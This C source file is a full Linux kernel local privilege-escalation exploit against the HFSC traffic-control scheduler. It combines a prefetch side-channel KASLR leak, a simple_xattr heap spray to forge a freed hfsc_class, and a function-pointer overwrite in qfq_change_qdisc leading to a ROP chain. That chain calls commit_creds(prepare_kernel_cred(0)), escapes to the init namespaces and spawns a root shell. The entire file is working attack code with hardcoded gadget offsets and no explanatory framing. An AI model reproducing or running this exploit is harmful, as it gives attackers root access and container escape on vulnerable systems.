#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <fcntl.h>
#include <sched.h>
#include <errno.h>
#include <net/if.h>
#include <sys/socket.h>
#include <sys/xattr.h>
#include <sys/syscall.h>
#include <linux/netlink.h>
#include <linux/rtnetlink.h>
#include <linux/pkt_cls.h>
#include <linux/pkt_sched.h>
#include <linux/if_arp.h>

/* Prefetch kaslr leak */
#define MIN_STEXT 0xffffffff81000000
#define MAX_STEXT 0xffffffffbb000000
#define BASE_INC 0x1000000
#define SYS_GETUID 0x0f41c0

/* simple_xattr spray */
#define XATTR_SPRAY 32
#define XATTR_HEADER_SIZE 32
#define XATTR_SLAB_LEN 1024
#define XATTR_DATA_LEN (XATTR_SLAB_LEN/2)

/* hfsc_class offsets */
#define LEVEL_OFFSET 92
#define CL_PARENT_OFFSET 104
#define VT_NODE_OFFSET 184
#define CF_NODE_OFFSET 216
#define CL_VT_OFFSET 272
#define CL_CVTMIN_OFFSET 304

/* Data offsets */
#define INIT_NSPROXY 0x22670c0
#define QFQ_CHANGE_QDISC_LOC 0x25106f8

/* Function offsets */
#define PREPARE_KERNEL_CRED 0x10b5e0
#define COMMIT_CREDS 0x10b360
#define FIND_TASK_BY_VPID 0x102440
#define SWITCH_TASK_NAMESPACES 0x109830

/* Gadget offsets */
#define PUSH_RSI_JMP_QWORD_PTR_RSI_MINUS_0x70 0xba80ec
#define PUSH_RDI_POP_RBX_RET_THUNK 0x74cf18
#define POP_RSP_POP_RBX_RET_THUNK 0x791fcf
#define POP_RDI_RET_THUNK 0x117d6f
#define POP_RSI_RET_THUNK 0x177d1c
#define POP_RDX_RET_THUNK 0x06238d
#define POP_RCX_RET_THUNK 0x02582c
#define MOV_RDI_RAX_THUNK_RCX 0x34d9cd

#define MOV_RAX_R13_POP_RBX_POP_RBP_RET_THUNK 0x58391d
#define ADD_RAX_RSI_RET_THUNK 0x077d1a
#define PUSH_RAX_JMP_RDX_THUNK 0x832707
#define POP_RSP_RET_THUNK 0x1c7db8


#define err_exit(s) do { perror(s); exit(EXIT_FAILURE); } while(0)

struct tf_msg {
    struct nlmsghdr nh;
    struct tcmsg tm;
#define TC_DATA_LEN 512
    char attrbuf[TC_DATA_LEN];
};

struct if_msg {
    struct nlmsghdr nh;
    struct ifinfomsg ifi;
};

/* Netlink message for setting loopback up. */
struct if_msg if_up_msg = {
    {
        .nlmsg_len = 32,
        .nlmsg_type = RTM_NEWLINK,
        .nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK,
    },
    {
        .ifi_family = AF_UNSPEC,
        .ifi_type = ARPHRD_NETROM,
        .ifi_index = 1,
        .ifi_flags = IFF_UP,
        .ifi_change = 1,
    },

};


int xattr_fd;
char rop_buf[512];
char jop_buf[0x70];

void pin_cpu (int cpu) {
    cpu_set_t set;
    CPU_ZERO(&set);
    CPU_SET(cpu, &set);
    if (sched_setaffinity(0, sizeof(set), &set))
        err_exit("[-] sched_setaffinity");
}

/*
 * Prefetch timing code from Daniel Gruss.
 * https://github.com/IAIK/prefetch
 */

inline __attribute__((always_inline)) size_t rdtsc_begin () {
  size_t a, d;
  asm volatile (
    "mfence\n\t"
    "RDTSCP\n\t"
    "mov %%rdx, %0\n\t"
    "mov %%rax, %1\n\t"
    "xor %%rax, %%rax\n\t"
    "mfence\n\t"
    : "=r" (d), "=r" (a)
    :
    : "%rax", "%rbx", "%rcx", "%rdx");
  a = (d<<32) | a;
  return a;
}

inline __attribute__((always_inline)) size_t rdtsc_end () {
  size_t a, d;
  asm volatile(
    "xor %%rax, %%rax\n\t"
    "mfence\n\t"
    "RDTSCP\n\t"
    "mov %%rdx, %0\n\t"
    "mov %%rax, %1\n\t"
    "mfence\n\t"
    : "=r" (d), "=r" (a)
    :
    : "%rax", "%rbx", "%rcx", "%rdx");
  a = (d<<32) | a;
  return a;
}

void prefetch (void* p) {
    asm volatile ("prefetchnta (%0)" : : "r" (p));
    asm volatile ("prefetcht2 (%0)" : : "r" (p));
}

size_t onlyreload (void* addr) {
    size_t time = rdtsc_begin();
    prefetch(addr);
    size_t delta = rdtsc_end() - time;
    return delta;
}

/*
 * Simple implementation of prefetch sidechannel to
 * bypass KASLR.
 */

long kaslr_leak (int tries1, int tries2) {
    long base = -1, addr;
    size_t time;
    size_t min = -1;

    addr = 0xffffffff80000000;
    for (int i = 0; i < tries1; i++) {
        time = onlyreload(addr);
        min = min < time ? min : time;
    }

    for (int i = 0; i < tries2; i++) {
        for (addr = MIN_STEXT; addr <= MAX_STEXT; addr += BASE_INC) {
            time = onlyreload(addr + SYS_GETUID);
            if (time < min && addr < base) {
                base = addr;
            }
        }
    }
    return base;
}

void init_rop (long *rop, long *jop, long kbase) {
    *jop++ = kbase + POP_RSP_POP_RBX_RET_THUNK;
    /* commit_creds(prepare_kernel_cred(0)) */
    *rop++ = kbase + POP_RDI_RET_THUNK;
    *rop++ = 0;
    *rop++ = kbase + PREPARE_KERNEL_CRED;
    *rop++ = kbase + POP_RCX_RET_THUNK;
    *rop++ = kbase + COMMIT_CREDS;
    *rop++ = kbase + MOV_RDI_RAX_THUNK_RCX;
    /* switch_task_namespaces(find_task_by_vpid(1, init_ns_proxy) */
    *rop++ = kbase + POP_RDI_RET_THUNK;
    *rop++ = 1;
    *rop++ = kbase + FIND_TASK_BY_VPID;
    *rop++ = kbase + POP_RSI_RET_THUNK;
    *rop++ = kbase + INIT_NSPROXY;
    *rop++ = kbase + POP_RCX_RET_THUNK;
    *rop++ = kbase + SWITCH_TASK_NAMESPACES;
    *rop++ = kbase + MOV_RDI_RAX_THUNK_RCX;
    /* return back to the original stack */
    *rop++ = kbase + MOV_RAX_R13_POP_RBX_POP_RBP_RET_THUNK;
    rop++;
    rop++;
    *rop++ = kbase + POP_RSI_RET_THUNK;
    *rop++ = (long)-0x170;
    *rop++ = kbase + ADD_RAX_RSI_RET_THUNK;
    *rop++ = kbase + POP_RDX_RET_THUNK;
    *rop++ = kbase + POP_RSP_RET_THUNK;
    *rop++ = kbase + PUSH_RAX_JMP_RDX_THUNK;
}

/* Helper functions for creating rtnetlink messages. */

unsigned short add_rtattr (struct rtattr *rta, unsigned short type, unsigned short len, char *data) {
    rta->rta_type = type;
    rta->rta_len = RTA_LENGTH(len);
    memcpy(RTA_DATA(rta), data, len);
    return rta->rta_len;
}

int vuln_class_id = 0x00010001; // 1:1, classid of vulnerable RSC parent.
int def_class_id = 0x00010002; // 1:2, classid where packets are enqueued.
struct tf_msg newqd_msg, delc_msg, new_rsc_msg, new_fsc_msg, new_qfq_qdisc;

void init_tf_msg (struct tf_msg *m) {
    m->nh.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
    m->tm.tcm_family = PF_UNSPEC;
    m->tm.tcm_ifindex = if_nametoindex("lo");
    m->nh.nlmsg_len = NLMSG_LENGTH(sizeof(m->tm));
}

void init_qdisc_msg (struct tf_msg *m) {
    init_tf_msg(m);
    m->nh.nlmsg_type = RTM_NEWQDISC;
    m->tm.tcm_parent = -1;
    m->tm.tcm_handle = 1 << 16;
    m->nh.nlmsg_flags |= NLM_F_CREATE;
    m->nh.nlmsg_len += NLMSG_ALIGN(add_rtattr((char *)m + NLMSG_ALIGN(m->nh.nlmsg_len), TCA_KIND, strlen("hfsc") + 1, "hfsc"));
    struct rtattr *opts = (char *)m + NLMSG_ALIGN(m->nh.nlmsg_len);
    short def = 2;
    m->nh.nlmsg_len += NLMSG_ALIGN(add_rtattr((char *)m + NLMSG_ALIGN(m->nh.nlmsg_len), TCA_OPTIONS, 2, &def));
}


void init_rsc_class_msg (struct tf_msg *m) {
    init_tf_msg(m);
    m->nh.nlmsg_type = RTM_NEWTCLASS;
    m->tm.tcm_parent = 1 << 16;
    m->tm.tcm_handle = vuln_class_id;
    m->nh.nlmsg_flags |= NLM_F_CREATE;
    m->nh.nlmsg_len += NLMSG_ALIGN(add_rtattr((char *)m + NLMSG_ALIGN(m->nh.nlmsg_len), TCA_KIND, strlen("hfsc") + 1, "hfsc"));
    struct rtattr *opts = (char *)m + NLMSG_ALIGN(m->nh.nlmsg_len);
    opts->rta_type = TCA_OPTIONS;
    opts->rta_len = RTA_LENGTH(0);
    int rsc[3] = {1, 1, 1};
    opts->rta_len += RTA_ALIGN(add_rtattr((char *)opts + opts->rta_len, TCA_HFSC_RSC, sizeof(rsc), rsc));
    m->nh.nlmsg_len += NLMSG_ALIGN(opts->rta_len);
}

void init_fsc_class_msg (struct tf_msg *m) {
    init_tf_msg(m);
    m->nh.nlmsg_type = RTM_NEWTCLASS;
    m->tm.tcm_parent = vuln_class_id;
    m->tm.tcm_handle = def_class_id;
    m->nh.nlmsg_flags |= NLM_F_CREATE;
    m->nh.nlmsg_len += NLMSG_ALIGN(add_rtattr((char *)m + NLMSG_ALIGN(m->nh.nlmsg_len), TCA_KIND, strlen("hfsc") + 1, "hfsc"));
    struct rtattr *opts = (char *)m + NLMSG_ALIGN(m->nh.nlmsg_len);
    opts->rta_type = TCA_OPTIONS;
    opts->rta_len = RTA_LENGTH(0);
    int fsc[3] = {1, 1, 1};
    opts->rta_len += RTA_ALIGN(add_rtattr((char *)opts + opts->rta_len, TCA_HFSC_FSC, sizeof(fsc), fsc));
    m->nh.nlmsg_len += NLMSG_ALIGN(opts->rta_len);
}

void init_del_class_msg (struct tf_msg *m) {
    init_tf_msg(m);
    m->nh.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
    m->nh.nlmsg_type = RTM_DELTCLASS;
    m->tm.tcm_handle = vuln_class_id;
}

void init_qfq_qdisc_msg (struct tf_msg *m) {
    init_tf_msg(m);
    m->nh.nlmsg_type = RTM_NEWQDISC;
    m->tm.tcm_parent = 0x00010002;
    m->tm.tcm_handle = 2 << 16;
    m->nh.nlmsg_flags |= NLM_F_CREATE;
    m->nh.nlmsg_len += NLMSG_ALIGN(add_rtattr((char *)m + NLMSG_ALIGN(m->nh.nlmsg_len), TCA_KIND, strlen("qfq") + 1, "qfq"));
    m->nh.nlmsg_len += NLMSG_ALIGN(add_rtattr((char *)m + NLMSG_ALIGN(m->nh.nlmsg_len), TCA_OPTIONS, sizeof(jop_buf), jop_buf));
    m->nh.nlmsg_len += NLMSG_ALIGN(add_rtattr((char *)m + NLMSG_ALIGN(m->nh.nlmsg_len), TCA_OPTIONS, sizeof(rop_buf), rop_buf));
}

void init_nl_msgs (void) {
    init_qdisc_msg(&newqd_msg);
    init_del_class_msg(&delc_msg);
    init_rsc_class_msg(&new_rsc_msg);
    init_fsc_class_msg(&new_fsc_msg);
}

/*
 * Send a Netlink message and check for error
 */
void netlink_write (int sock, struct tf_msg *m) {
    struct {
        struct nlmsghdr nh;
        struct nlmsgerr ne;
    } ack;
    if (write(sock, m, m->nh.nlmsg_len) == -1)
        err_exit("[-] write");
    if (read(sock , &ack, sizeof(ack)) == -1)
        err_exit("[-] read");
    if (ack.ne.error) {
        errno = -ack.ne.error;
        perror("[-] netlink");
    }
}

void netlink_write_noerr (int sock, struct tf_msg *m) {
    if (write(sock, m, m->nh.nlmsg_len) == -1)
        err_exit("[-] write");
}

/*
 * Allocate simple_xattr objects.
 */
int num_xattr = 0;
char xattr_buf[XATTR_DATA_LEN];
void spray_simple_xattrs(int num_spray) {
    char name[32];
    for (int i = 0; i < num_spray; i++, num_xattr++) {
        sprintf(name, "security.%d", num_xattr);
        if (fsetxattr(xattr_fd, name, xattr_buf, XATTR_DATA_LEN, 0) == -1)
            err_exit("[-] fsetxattr");
    }
}

/*
 * Send a message on the loopback device. Used to trigger qdisc enqueue and
 * dequeue functions.
 */
void loopback_send (void) {
    struct sockaddr iaddr = { AF_INET };
    int inet_sock_fd = socket(PF_INET, SOCK_DGRAM, 0);
    if (inet_sock_fd == -1)
        err_exit("[-] inet socket");
    if (connect(inet_sock_fd, &iaddr, sizeof(iaddr)) == -1)
        err_exit("[-] connect");
    if (write(inet_sock_fd, "", 1) == -1)
        err_exit("[-] inet write");
    close(inet_sock_fd);
}

int main (int argc, char **argv) {
    long kernel_base;

    pin_cpu(0);

    /* Get kernel base from command line or prefetch side channel */
    if (argc > 1) {
        kernel_base = strtoul(argv[1], NULL, 16);
        printf("[*] Using provided kernel base: %p\n", kernel_base);
    } else {
        printf("[*] Using prefetch to leak kernel base...\n");
        getuid();
        kernel_base = kaslr_leak(1000, 1000);
        if (kernel_base == -1) {
            printf("[*] Prefetch failed\n");
            exit(EXIT_FAILURE);
        }
        printf("[*] Leaked kernel base: %p\n", kernel_base);
    }

    if (unshare(CLONE_NEWUSER) == -1)
        err_exit("[-] unshare(CLONE_NEWUSER)");
    if (unshare(CLONE_NEWNET) == -1)
        err_exit("[-] unshare(CLONE_NEWNET)");

    /* Open temporary file to use for xattr spray */
    xattr_fd = open("/tmp/", O_TMPFILE | O_RDWR, 0664);
    if (xattr_fd == -1)
        err_exit("[-] open");

    /* Open socket to send netlink commands to */
    int nl_sock_fd = socket(PF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
    if (nl_sock_fd == -1)
        err_exit("[-] nl socket");

    /* Set loopback device up */
    if_up_msg.ifi.ifi_index = if_nametoindex("lo");
    netlink_write(nl_sock_fd, &if_up_msg);

    init_nl_msgs();

    /* Trigger vuln */
    netlink_write(nl_sock_fd, &newqd_msg);
    netlink_write(nl_sock_fd, &new_rsc_msg);
    netlink_write(nl_sock_fd, &new_fsc_msg);
    loopback_send();
    delc_msg.tm.tcm_handle = def_class_id;
    netlink_write(nl_sock_fd, &delc_msg);

    printf("[*] Triggered vulnerability\n");

    /* Place fake hfsc_class in xattr */

    /* hfsc_class.level = 1 (must be non-zero) */
    xattr_buf[LEVEL_OFFSET - XATTR_HEADER_SIZE] = 1;
    /* hfsc_class.vt_node = 1 (must be odd) */
    xattr_buf[VT_NODE_OFFSET - XATTR_HEADER_SIZE] = 1;
    /* hfsc_class.cf_node = 1 (must be odd) */
    xattr_buf[CF_NODE_OFFSET - XATTR_HEADER_SIZE] = 1;
    /* hfsc_class.parent = &qfq_change_qdisc (write target)*/
    long parent = kernel_base + QFQ_CHANGE_QDISC_LOC - CL_CVTMIN_OFFSET;
    memcpy(xattr_buf + CL_PARENT_OFFSET - XATTR_HEADER_SIZE, &parent, 8);
    /* hfsc_class.cl_vt = jop_gadget (write value) */
    long cl_vt = kernel_base + PUSH_RSI_JMP_QWORD_PTR_RSI_MINUS_0x70;
    memcpy(xattr_buf + CL_VT_OFFSET - XATTR_HEADER_SIZE, &cl_vt, 8);

    printf("[*] Spraying simple_xattrs...\n");
    /* Spray simple_xattrs */
    delc_msg.tm.tcm_handle = vuln_class_id;
    netlink_write(nl_sock_fd, &delc_msg);
    spray_simple_xattrs(XATTR_SPRAY);

    /* Create new default class and trigger enqueue/dequeue to overwrite
     * qfq_change_qdisc with jop gadget */
    new_fsc_msg.tm.tcm_parent = 1 << 16;
    netlink_write(nl_sock_fd, &new_fsc_msg);

    printf("[*] Overwriting function pointer\n");
    loopback_send();

    /* Prepare ROP chain at an offset of 4 bytes. With the 4-byte rtattr 
    header it will be at an 8-byte offset from rsi, allowing it to be reached 
    with `push rsi ; pop rsp ; pop rbx` for the stack pivot */
    init_rop(rop_buf + 4, jop_buf, kernel_base);

    /* Create QFQ qdisc */
    init_qfq_qdisc_msg(&new_qfq_qdisc);
    netlink_write_noerr(nl_sock_fd, &new_qfq_qdisc);


    /* Call overwritten function pointer */
    printf("[*] Triggering ROP chain\n");
    netlink_write_noerr(nl_sock_fd, &new_qfq_qdisc);

    if (getuid()) {
        printf("[-] Privesc failed\n");
        exit(EXIT_FAILURE);
    }

    printf("[+] Returned from ROP\n");

    int mntns_fd = open("/proc/1/ns/mnt", O_RDONLY);
    if (mntns_fd == -1)
        perror("[-] open(/proc/1/ns/mnt)");

    int netns_fd = open("/proc/1/ns/net", O_RDONLY);
    if (netns_fd == -1)
        perror("[-] open(/proc/1/ns/net)");

    int pidns_fd = open("/proc/1/ns/pid", O_RDONLY);
    if (pidns_fd == -1)
        perror("[-] open(/proc/1/ns/pid)");


    if (setns(mntns_fd, CLONE_NEWNS) == -1)
        perror("[-] setns mnt");
    if (setns(netns_fd, CLONE_NEWNET) == -1)
        perror("[-] setns net");
    if (setns(pidns_fd, CLONE_NEWPID) == -1)
        perror("[-] setns pid");

    printf("[*] Launching shell\n");
    system("/bin/sh");
}
